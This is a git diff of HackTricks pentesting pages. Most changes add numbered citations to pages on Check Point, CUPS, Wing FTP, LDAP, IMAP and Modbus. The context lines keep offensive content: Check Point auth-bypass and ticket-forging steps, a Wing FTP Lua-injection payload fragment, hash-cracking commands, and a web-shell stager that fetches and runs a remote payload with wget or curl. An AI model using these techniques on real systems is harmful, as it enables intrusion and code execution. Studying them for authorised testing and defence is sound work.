to `open-database` and recover a **43-character DLE token** from the binary FwSet response. In the vulnerable SmartConsole flow, that token is also accepted by the newer SOAP service as the `DLESESSIONID` header, turning a native session into authenticated access to selected `/cpmws/` methods. +After a forged application bind, the attacker can ask the legacy service to `open-database` and recover a **43-character DLE token** from the binary FwSet response. In the vulnerable SmartConsole flow, that token is also accepted by the newer SOAP service as the `DLESESSIONID` header, turning a native session into authenticated access to selected `/cpmws/` methods.[[8]](#references)[[9]](#references) ```text ( @@ -105,7 +105,7 @@ If a product has both a legacy binary control plane and a newer HTTP/SOAP/REST l ### Abusing privileged SSO ticket minting -Once the forged native session is treated as a configuration administrator, request a SmartConsole SSO ticket before normal permission-mask enforcement. In the vulnerable path, setting `:soap_local_bind (1)` and an all-bits-set permission bitmap produces a full-permission ticket for `system_admin`. +Once the forged native session is treated as a configuration administrator, request a SmartConsole SSO ticket before normal permission-mask enforcement. In the vulnerable path, setting `:soap_local_bind (1)` and an all-bits-set permission bitmap produces a full-permission ticket for `system_admin`.[[8]](#references)[[9]](#references) ```text ( @@ -118,7 +118,7 @@ Once the forged native session is treated as a configuration administrator, requ ) ``` -Redeem the returned ticket through the normal SOAP login endpoint and capture the resulting SmartConsole session identifiers: +Redeem the returned ticket through the normal SOAP login endpoint and capture the resulting SmartConsole session identifiers:[[8]](#references)[[9]](#references) ```xml @@ -132,11 +132,11 @@ Redeem the returned ticket through the normal SOAP login endpoint and capture th ``` -A successful response returns `sid` and `clientSessionId`. A good validation trick is to compare the same protected SOAP method before and after ticket redemption: the application token may authenticate some queries while exposing a reduced result set, while the redeemed SmartConsole session exposes full administrator data. +A successful response returns `sid` and `clientSessionId`. A good validation trick is to compare the same protected SOAP method before and after ticket redemption: the application token may authenticate some queries while exposing a reduced result set, while the redeemed SmartConsole session exposes full administrator data.[[8]](#references) ### Detection and quick validation -- Check audit logs for SmartConsole events containing `Authentication method: application token`. +- Check audit logs for SmartConsole events containing `Authentication method: application token`.[[10]](#references) - Unexpected `system_admin` logins coming from non-management hosts or unusual application identities are high-signal. - A fast validator is to complete the minimum SIC bootstrap and attempt an application bind with a trusted `:DN` **without** loading any client certificate. Patched implementations should reject the bind before issuing any DLE or SSO token. @@ -144,7 +144,7 @@ A successful response returns `sid` and `clientSessionId`. A good validation tri A useful modern follow-up to `264/TCP` discovery is testing whether the leaked management host exposes an outdated **Gaia Portal**. -In 2023, Check Point fixed an authenticated command-injection issue in the Gaia Portal **Hosts and DNS** page. The vulnerable flow passed the `hostname` field from `/web/cgi-bin2/hosts_dns.tcl` into a `libdb set ... machine:hostname ` command chain without sufficient sanitisation, so a user with write access to DNS / hostname settings could turn portal access into OS command execution. +In 2023, Check Point fixed an authenticated command-injection issue in the Gaia Portal **Hosts and DNS** page. The vulnerable flow passed the `hostname` field from `/web/cgi-bin2/hosts_dns.tcl` into a `libdb set ... machine:hostname ` command chain without sufficient sanitisation, so a user with write access to DNS / hostname settings could turn portal access into OS command execution.[[6]](#references) Minimal reproduction pattern: @@ -159,14 +159,14 @@ Why this matters during pentests: - `264/TCP` often tells you exactly which management host to target. - If that host exposes Gaia Portal and you later recover any delegated admin credential, hostname/DNS write access can become code execution on the appliance or management node. -- Version triage matters here: Check Point states the fix is present in **R82** and in later Jumbo Hotfix takes for **R81.20 / R81.10 / R81 / R80.40**. +- Version triage matters here: Check Point states the fix is present in **R82** and in later Jumbo Hotfix takes for **R81.20 / R81.10 / R81 / R80.40**.[[6]](#references) -Also keep internet-exposed **Remote Access VPN / Mobile Access** gateways in scope. In 2024, Check Point disclosed and observed exploitation around an information-disclosure issue affecting internet-connected gateways with remote access enabled. From an operator perspective, the practical lesson is to treat VPN portals and Gaia / management surfaces as a single attack chain: pre-auth leakage on the gateway can feed username discovery, credential attacks, and authenticated follow-on abuse against the management plane. +Also keep internet-exposed **Remote Access VPN / Mobile Access** gateways in scope. In 2024, Check Point disclosed and observed exploitation around an information-disclosure issue affecting internet-connected gateways with remote access enabled.[[7]](#references) From an operator perspective, the practical lesson is to treat VPN portals and Gaia / management surfaces as a single attack chain: pre-auth leakage on the gateway can feed username discovery, credential attacks, and authenticated follow-on abuse against the management plane. ## HTTP Security Server Format String Bug (CAN-2004-0039) **Affected builds:** NG FCS, NG FP1, NG FP2, NG FP3 HF2, and NG with Application Intelligence R54/R55. -**Requirement:** The HTTP Security Server or AI HTTP proxy must be enabled and transparently inspecting the targeted port; if HTTP inspection is disabled the vulnerable code path is never reached. +**Requirement:** The HTTP Security Server or AI HTTP proxy must be enabled and transparently inspecting the targeted port; if HTTP inspection is disabled the vulnerable code path is never reached.[[3]](#references)[[4]](#references) ### Triggering the error handler @@ -192,17 +192,19 @@ The same unsafe `sprintf()` writes into a fixed-size heap buffer. Mix a long req ### Impact -Compromise of the proxy grants code execution inside the firewall process (SYSTEM on Windows appliances, root on UNIX), enabling rule manipulation, traffic interception, and pivoting deeper into the management network. +Compromise of the proxy grants code execution inside the firewall process (SYSTEM on Windows appliances, root on UNIX), enabling rule manipulation, traffic interception, and pivoting deeper into the management network.[[3]](#references)[[4]](#references) ## References -- [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360) -- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264) -- [https://www.cisa.gov/news-events/alerts/2004/02/05/http-parsing-vulnerabilities-check-point-firewall-1](https://www.cisa.gov/news-events/alerts/2004/02/05/http-parsing-vulnerabilities-check-point-firewall-1) -- [http://xforce.iss.net/xforce/alerts/id/162](http://xforce.iss.net/xforce/alerts/id/162) -- [https://support.checkpoint.com/results/sk/sk62692](https://support.checkpoint.com/results/sk/sk62692) -- [https://support.checkpoint.com/results/sk/sk181311](https://support.checkpoint.com/results/sk/sk181311) -- [Rapid7: Check Point SmartConsole Authentication Bypass Technical Analysis (CVE-2026-16232)](https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/) -- [Rapid7 PoC: sfewer-r7/CVE-2026-16232](https://github.com/sfewer-r7/CVE-2026-16232) -- [Check Point Advisory: sk185169](https://support.checkpoint.com/results/sk/sk185169/) +- [1] [Check Point Support Center – Solution sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360) +- [2] [LFF-IPS-P2 Vulnerability Analysis – Check Point Firewall-1 Topology (Port 264)](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264) +- [3] [CISA Alert: HTTP Parsing Vulnerabilities in Check Point Firewall-1](https://www.cisa.gov/news-events/alerts/2004/02/05/http-parsing-vulnerabilities-check-point-firewall-1) +- [4] [IBM ISS X-Force Alert #162: Check Point FireWall-1 HTTP Security Server Format String Vulnerability](http://xforce.iss.net/xforce/alerts/id/162) +- [5] [Check Point sk62692 – Ports used on Security Gateway for SecureClient and Endpoint Security VPN](https://support.checkpoint.com/results/sk/sk62692) +- [6] [Check Point sk181311 – Response to CVE-2023-28130, Hostname Command Injection in Gaia Portal](https://support.checkpoint.com/results/sk/sk181311) +- [7] [Check Point sk182336 – Preventative Hotfix for CVE-2024-24919, Quantum Gateway Information Disclosure](https://support.checkpoint.com/results/sk/sk182336) +- [8] [Rapid7: Check Point SmartConsole Authentication Bypass Technical Analysis (CVE-2026-16232)](https://www.rapid7.com/blog/post/ra-check-point-smartconsole-authentication-bypass-technical-analysis-cve-2026-16232/) +- [9] [Rapid7 PoC: sfewer-r7/CVE-2026-16232](https://github.com/sfewer-r7/CVE-2026-16232) +- [10] [Check Point Advisory sk185169 – CVE-2026-16232 SmartConsole Authentication Bypass](https://support.checkpoint.com/results/sk/sk185169/) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md index cb2eef0e6c4..f6b05673522 100644 --- a/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md +++ b/src/network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md @@ -50,25 +50,25 @@ The `cups-info` script extracts model, state and queue statistics while `cups-qu ```bash shodan search 'product:"CUPS (IPP)" port:631' ``` -More than **70 000** hosts were publicly exposing CUPS in April 2025 . +More than **70 000** hosts were publicly exposing CUPS in April 2025.[[2]](#references) --- ## Recent Vulnerabilities (2023-2025) | Year | CVE ID(s) | Affected component | Impact | |------|-----------|--------------------|--------| -| 2025 | CVE-2023-50739 | Lexmark firmware (IPP parser) | Heap-overflow → RCE over Wi-Fi/LAN | -| 2024 | CVE-2024-47076, 47175, 47176, 47177 | cups-browsed, libcupsfilters, libppd, cups-filters | Full unauthenticated RCE chain on any Linux desktop/server with CUPS browsing enabled | -| 2024 | CVE-2024-35235 | cupsd 2.4.8- | Symlink trick → arbitrary **chmod 666** → privilege escalation | -| 2023 | CVE-2023-0856 (Canon) + Pwn2Own | Stack-overflow in `sides` attribute → remote code execution | +| 2025 | CVE-2023-50739 | Lexmark firmware (IPP parser) | Heap-overflow → RCE over Wi-Fi/LAN[[3]](#references) | +| 2024 | CVE-2024-47076, 47175, 47176, 47177 | cups-browsed, libcupsfilters, libppd, cups-filters | Full unauthenticated RCE chain on any Linux desktop/server with CUPS browsing enabled[[1]](#references)[[2]](#references) | +| 2024 | CVE-2024-35235 | cupsd 2.4.8- | Symlink trick → arbitrary **chmod 666** → privilege escalation[[5]](#references) | +| 2023 | CVE-2023-0856 (Canon) + Pwn2Own | Stack-overflow in `sides` attribute → remote code execution[[4]](#references) | ### cups-browsed RCE chain (September 2024) -1. `cups-browsed` listens on **UDP/631** for printer advertisements. +1. `cups-browsed` listens on **UDP/631** for printer advertisements.[[1]](#references)[[2]](#references) 2. An attacker sends a single spoofed packet pointing to a malicious IPP URL (CVE-2024-47176). 3. `libcupsfilters` automatically fetches the remote **PPD** without validation (CVE-2024-47076 & 47175). 4. A crafted PPD abuses the **foomatic-rip** filter to execute arbitrary shell commands whenever anything is printed (CVE-2024-47177). -Proof-of-concept code is public on the researcher’s blog and exploits require **no authentication**; network access to UDP/631 is enough. +Proof-of-concept code is public on the researcher’s blog and exploits require **no authentication**; network access to UDP/631 is enough.[[1]](#references) #### Temporary mitigations ``` @@ -79,7 +79,7 @@ sudo ufw deny 631/udp # or equivalent firewall rule Patches were released by major distributions in October 2024 – ensure **cups-filters ≥ 2.0.0**. ### cupsd symlink `Listen` misconfiguration (CVE-2024-35235) -Placing a symbolic link in *cupsd.conf*’s `Listen` directive causes **cupds (root)** to `chmod 666` an attacker-chosen path, leading to writable system files and, on Ubuntu, code execution via a malicious PPD with `FoomaticRIPCommandLine` . +Placing a symbolic link in *cupsd.conf*’s `Listen` directive causes **cupds (root)** to `chmod 666` an attacker-chosen path, leading to writable system files and, on Ubuntu, code execution via a malicious PPD with `FoomaticRIPCommandLine`.[[5]](#references) --- ## Offensive Techniques @@ -97,9 +97,12 @@ Placing a symbolic link in *cupsd.conf*’s `Listen` directive causes **cupds (r 5. Monitor logs: `/var/log/cups/error_log` with `LogLevel debug2` will show unsolid PPD downloads or suspicious filter invocations. 6. In high-security networks, move printing to a hardened, isolated print server that proxies jobs to devices via USB only. +## References +- [1] [Attacking UNIX systems via CUPS, Part I (evilsocket)](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/) +- [2] [Critical Linux RCE Vulnerability in CUPS — Akamai guidance](https://www.akamai.com/blog/security-research/guidance-on-critical-cups-rce) +- [3] [Lexmark Security Advisory – CVE-2023-50739](https://publications.lexmark.com/publications/security-alerts/CVE-2023-50739.pdf) +- [4] [ZDI-23-556: Canon imageCLASS MF743Cdw IPP sides Stack-based Buffer Overflow](https://www.zerodayinitiative.com/advisories/ZDI-23-556/) +- [5] [Debian Security Tracker – CVE-2024-35235](https://security-tracker.debian.org/tracker/CVE-2024-35235) -## References -- Akamai – “Critical Linux RCE Vulnerability in CUPS — What We Know and How to Prepare”, April 2025. -- Debian Security Tracker – CVE-2024-35235 details. {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index f697768293e..1a4769092b5 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -6,7 +6,6 @@ ## Default passwords - {{#ref}} http://www.vulnerabilityassessment.co.uk/passwordsC.htm {{#endref}} diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index c852187c9a4..2d28a4b7a9c 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -395,6 +395,5 @@ Entry_6: ## References - [1] [DNS (Domain Name System): definition, function, risks](https://www.myrasecurity.com/en/knowledge-hub/dns/) -- [2] Book: Network Security Assessment 3rd edition {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-finger.md b/src/network-services-pentesting/pentesting-finger.md index f9892ac3e9f..23528fe5321 100644 --- a/src/network-services-pentesting/pentesting-finger.md +++ b/src/network-services-pentesting/pentesting-finger.md @@ -166,10 +166,10 @@ If relaying works, use it as an **internal recon primitive** and compare the rel ## References -- [RFC 1288 - The Finger User Information Protocol](https://www.rfc-editor.org/rfc/rfc1288.html) -- [finger NSE script - Nmap Scripting Engine documentation](https://nmap.org/nsedoc/scripts/finger.html) -- [Finger.exe on LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/Finger/) -- [Huntress - Can't Touch This: Data Exfiltration via Finger](https://www.huntress.com/blog/cant-touch-this-data-exfiltration-via-finger) -- [Microsoft - New Clickfix variant 'CrashFix' deploying Python Remote Access Trojan](https://www.microsoft.com/en-us/security/blog/2026/02/05/clickfix-variant-crashfix-deploying-python-rat-trojan/) +- [1] [RFC 1288 - The Finger User Information Protocol](https://www.rfc-editor.org/rfc/rfc1288.html) +- [2] [finger NSE script - Nmap Scripting Engine documentation](https://nmap.org/nsedoc/scripts/finger.html) +- [3] [Finger.exe on LOLBAS](https://lolbas-project.github.io/lolbas/Binaries/Finger/) +- [4] [Huntress - Can't Touch This: Data Exfiltration via Finger](https://www.huntress.com/blog/cant-touch-this-data-exfiltration-via-finger) +- [5] [Microsoft - New Clickfix variant 'CrashFix' deploying Python Remote Access Trojan](https://www.microsoft.com/en-us/security/blog/2026/02/05/clickfix-variant-crashfix-deploying-python-rat-trojan/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 303f49d3f4d..f5145277a01 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -20,9 +20,9 @@ In **Active FTP** the FTP **client** first **initiates** the control **connectio But, if the FTP Client has a firewall setup that controls the incoming data connections from outside, then active FTP may be a problem. And, a feasible solution for that is Passive FTP. -In **Passive FTP**, the client initiates the control connection from its port N to the port 21 of FTP Server. After this, the client issues a **passv comand**. The server then sends the client one of its port number M. And the **client** **initiates** the data **connection** from **its port P to port M** of the FTP Server. +In **Passive FTP**, the client initiates the control connection from its port N to the port 21 of FTP Server. After this, the client issues a **passv comand**. The server then sends the client one of its port number M. And the **client** **initiates** the data **connection** from **its port P to port M** of the FTP Server.[[1]](#references) -Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) +Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)[[1]](#references) ### Connection debugging @@ -136,16 +136,16 @@ Note that if a **web application** is sending data controlled by a user **direct ### Wing FTP Server (web client RCE + credential recovery) -If the **HTTP interface** returns a header like `Server: Wing FTP Server(Free Edition)` or the footer exposes **`v7.4.3` / `< 7.4.4`**, test the **web client**, not only TCP/21. In some deployments **`anonymous`** with a blank password works in the web login too, which is important because **CVE-2025-47812** is exploitable with any valid account, including anonymous when enabled.[[3]](#references)[[4]](#references) +If the **HTTP interface** returns a header like `Server: Wing FTP Server(Free Edition)` or the footer exposes **`v7.4.3` / `< 7.4.4`**, test the **web client**, not only TCP/21. In some deployments **`anonymous`** with a blank password works in the web login too, which is important because **CVE-2025-47812** is exploitable with any valid account, including anonymous when enabled.[[4]](#references)[[5]](#references) -**Bug class:** the web login validates the username only **up to `\0`**, but the **full submitted value** is later written into the user **Lua session file**. Wing FTP stores session state as code such as:[[3]](#references) +**Bug class:** the web login validates the username only **up to `\0`**, but the **full submitted value** is later written into the user **Lua session file**. Wing FTP stores session state as code such as:[[4]](#references) ```lua _SESSION['username']=[[]] _SESSION['ipaddress']=[[127.0.0.1]] ``` -If the username starts with a valid account and then injects a value like `anonymous\0]] ... --`, the long string closes and attacker-controlled Lua is executed when the session cookie is reused on pages like `/dir.html`:[[3]](#references) +If the username starts with a valid account and then injects a value like `anonymous\0]] ... --`, the long string closes and attacker-controlled Lua is executed when the session cookie is reused on pages like `/dir.html`:[[4]](#references) ```lua anonymous\0]] @@ -162,7 +162,7 @@ h:close() #### Wing FTP post-exploitation: file-based hashes -Wing FTP often stores users and admins in **XML** below the install `Data/` directory, commonly:[[2]](#references) +Wing FTP often stores users and admins in **XML** below the install `Data/` directory, commonly:[[3]](#references) ```bash Data/_ADMINISTRATOR/admins.xml @@ -183,14 +183,14 @@ If the config shows: WingFTP ``` -passwords are stored as **`SHA256(password + salt)`**. A quick formatter for Hashcat mode **`1410`** (`sha256($pass.$salt)`) is:[[2]](#references)[[5]](#references) +passwords are stored as **`SHA256(password + salt)`**. A quick formatter for Hashcat mode **`1410`** (`sha256($pass.$salt)`) is:[[3]](#references)[[6]](#references) ```bash grep -r "" /opt/wftpserver/Data | sed -E 's#.*/([^/]+)\.xml:.*<[^>]+>([0-9a-fA-F]+)]+>.*#\1:\2:WingFTP#' > wingftp.hashes hashcat -m 1410 --user wingftp.hashes ``` -This is especially useful when **application users map to local OS users** and password reuse gives **SSH** or `su` access.[[2]](#references) +This is especially useful when **application users map to local OS users** and password reuse gives **SSH** or `su` access.[[3]](#references) ## Download all files from FTP @@ -207,7 +207,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ ### FTP root mapped to webroot (XAMPP) -- XAMPP/ProFTPD often maps FTP root to `/opt/lampp/htdocs`, so weak creds on service accounts like `daemon` or `nobody` let you **upload a PHP web shell directly into the served webroot**.[[1]](#references) +- XAMPP/ProFTPD often maps FTP root to `/opt/lampp/htdocs`, so weak creds on service accounts like `daemon` or `nobody` let you **upload a PHP web shell directly into the served webroot**.[[2]](#references) - After uploading, trigger an **architecture-aware download/exec stager** via the shell, for example: `webshell.php?dmc=(wget -qO - http:///.x/?x=x86 || curl http:///.x/?x=x86)`, which fetches a checksum-validated payload, saves it (e.g., `init_start`), sets `chmod +x`, and runs it. - If the current directory is not writable/executable, the stager falls back to `/tmp`, so test web paths and filesystem permissions after upload. @@ -346,10 +346,11 @@ Entry_7: ## References -- [1] [Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns](https://research.checkpoint.com/2026/inside-gobruteforcer-ai-generated-server-defaults-weak-passwords-and-crypto-focused-campaigns/) -- [2] [0xdf - HTB WingData: Wing FTP Null-Byte Lua RCE, Hash Cracking, and Python tarfile Privilege Escalation](https://0xdf.gitlab.io/2026/06/27/htb-wingdata.html) -- [3] [RCE Security - What the null? Wing FTP Server RCE (CVE-2025-47812)](https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/) -- [4] [NVD - CVE-2025-47812](https://nvd.nist.gov/vuln/detail/CVE-2025-47812) -- [5] [Wing FTP help - User / Group settings](https://www.wftpserver.com/help/ftpserver/index.html?user__group.htm) +- [1] [What is FTP bounce attack?](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) +- [2] [Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns](https://research.checkpoint.com/2026/inside-gobruteforcer-ai-generated-server-defaults-weak-passwords-and-crypto-focused-campaigns/) +- [3] [0xdf - HTB WingData: Wing FTP Null-Byte Lua RCE, Hash Cracking, and Python tarfile Privilege Escalation](https://0xdf.gitlab.io/2026/06/27/htb-wingdata.html) +- [4] [RCE Security - What the null? Wing FTP Server RCE (CVE-2025-47812)](https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/) +- [5] [NVD - CVE-2025-47812](https://nvd.nist.gov/vuln/detail/CVE-2025-47812) +- [6] [Wing FTP help - User / Group settings](https://www.wftpserver.com/help/ftpserver/index.html?user__group.htm) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index 6b86cb192a6..eb63311a40d 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -92,7 +92,7 @@ If the server is writable and you want to pivot beyond simple port-scanning, che ## References -- [Nmap NSE `ftp-bounce` script](https://nmap.org/nsedoc/scripts/ftp-bounce.html) -- [RFC 2428 - FTP Extensions for IPv6 and NATs](https://datatracker.ietf.org/doc/html/rfc2428) +- [1] [Nmap NSE `ftp-bounce` script](https://nmap.org/nsedoc/scripts/ftp-bounce.html) +- [2] [RFC 2428 - FTP Extensions for IPv6 and NATs](https://datatracker.ietf.org/doc/html/rfc2428) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md index 5ea1d7eaab0..2bb3dbb68ef 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md @@ -2,7 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - ## Resume If you have access to a **bounce FTP server**, you can make it request files of **another FTP server** (where you know some credentials) and download that file to **your own server**. diff --git a/src/network-services-pentesting/pentesting-imap.md b/src/network-services-pentesting/pentesting-imap.md index fab5a76d3cd..86df1d70ad8 100644 --- a/src/network-services-pentesting/pentesting-imap.md +++ b/src/network-services-pentesting/pentesting-imap.md @@ -42,7 +42,7 @@ Or **automate** this with **nmap** plugin `imap-ntlm-info.nse` ## Syntax -IMAP Commands examples from [here](https://donsutherland.org/crib/imap): +IMAP Commands examples from [here](https://donsutherland.org/crib/imap):[[1]](#references) ``` Login @@ -123,7 +123,7 @@ Its also possible to provide more complex search terms. e.g. searching for draft curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass ``` -A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/). +A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/).[[2]](#references) 3. Downloading a message (imap command `SELECT Drafts` and then `FETCH 1 BODY[]`) @@ -192,7 +192,10 @@ Entry_4: Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit' ``` -{{#include ../banners/hacktricks-training.md}} +## References +- [1] [IMAP crib sheet - command examples](https://donsutherland.org/crib/imap) +- [2] [Atmail - IMAP Commands overview](https://www.atmail.com/blog/imap-commands/) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index c5e5522cf0a..fce15d19a3f 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -56,7 +56,7 @@ phone: 23627387495 ## Write data -Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**. +Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**.[[1]](#references) ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ @@ -115,7 +115,7 @@ Also, you can perform a **MITM** attack in the network **between the LDAP server ### Bypass TLS SNI check -According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user: +According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:[[2]](#references) ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + @@ -123,12 +123,12 @@ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ### LDAP anonymous binds -[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.\ -However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD. +[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.[[3]](#references)\ +However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.[[3]](#references) ### Anonymous LDAP enumeration with NetExec (null bind) -If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters: +If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds.[[4]](#references)[[5]](#references) Useful filters: - (objectClass=*) to inventory objects under a base DN - (sAMAccountName=*) to harvest user principals @@ -490,8 +490,10 @@ Entry_7: ## References -- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) -- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec) -- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) +- [1] [Exploiting LDAP Server NULL Bind](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/) +- [2] [Exploiting Arbitrary Object Instantiations in PHP without Custom Classes](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- [3] [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) +- [4] [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) +- [5] [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-modbus.md b/src/network-services-pentesting/pentesting-modbus.md index 4c9a055e853..6451791af3e 100644 --- a/src/network-services-pentesting/pentesting-modbus.md +++ b/src/network-services-pentesting/pentesting-modbus.md @@ -41,7 +41,7 @@ msf> use auxiliary/scanner/scada/modbusdetect msf> use auxiliary/scanner/scada/modbus_findunitid ``` -`modbus-discover` is useful because it tries to enumerate **legal slave IDs** and extract **device identification** data such as vendor and firmware strings. +`modbus-discover` is useful because it tries to enumerate **legal slave IDs** and extract **device identification** data such as vendor and firmware strings.[[1]](#references) ### Passive Recon @@ -170,11 +170,11 @@ In real assessments, attackers rarely start with memory corruption. The usual pa - Replay or slightly modify legitimate **write** requests - Abuse weak process assumptions such as "this register is only written by the HMI" -Recent Modbus research and datasets keep emphasizing the same attacker behaviors: **query flooding, false data injection, brute-force writes, replay, and malformed length/frame handling**. Those are usually more realistic test cases than hunting for a single vendor-specific CVE. +Recent Modbus research and datasets keep emphasizing the same attacker behaviors: **query flooding, false data injection, brute-force writes, replay, and malformed length/frame handling**. Those are usually more realistic test cases than hunting for a single vendor-specific CVE.[[2]](#references) ## References -- [Nmap NSE: modbus-discover](https://nmap.org/nsedoc/scripts/modbus-discover.html) -- [MOSTO: A toolkit to facilitate security auditing of ICS devices using Modbus/TCP](https://zaguan.unizar.es/record/127649) +- [1] [Nmap NSE: modbus-discover](https://nmap.org/nsedoc/scripts/modbus-discover.html) +- [2] [MOSTO: A toolkit to facilitate security auditing of ICS devices using Modbus/TCP](https://zaguan.unizar.es/record/127649) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md 